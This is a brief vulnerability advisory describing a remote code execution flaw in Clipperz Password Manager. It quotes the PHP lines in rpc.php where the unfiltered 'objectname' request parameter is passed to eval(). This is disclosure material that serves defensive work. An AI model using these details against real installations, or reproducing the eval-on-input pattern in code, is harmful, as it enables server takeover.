////////////////////////
/// Overview: 
//////////////////////// 
Clipperz Password Manager script is affected from remote code execution Vulnerabilities. 

///////////////////////////////
// Vulnerability Description: 
///////////////////////////////

there is remote code execution flaw in Clipperz Password Manager script, because it does not checking user user inputs before final processing. 

  Input passed via the "objectname" parameter to "password-manager-master/backend/php/src/setup/rpc.php" is not  properly verified before it is give to server for processing. This can be exploited to execute php code.

//////////////////////////////
///  Proof of Concept: -
//////////////////////////////
vulnerability arises because of following code in file rpc.php
at line number 
15.  $objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';

37. eval ('$instance = new '.$objectName.'();');

value in objectname parameter is not getting filter before using it at line number 37 and user input is getting eval which is causing remote code execution vulnerability.
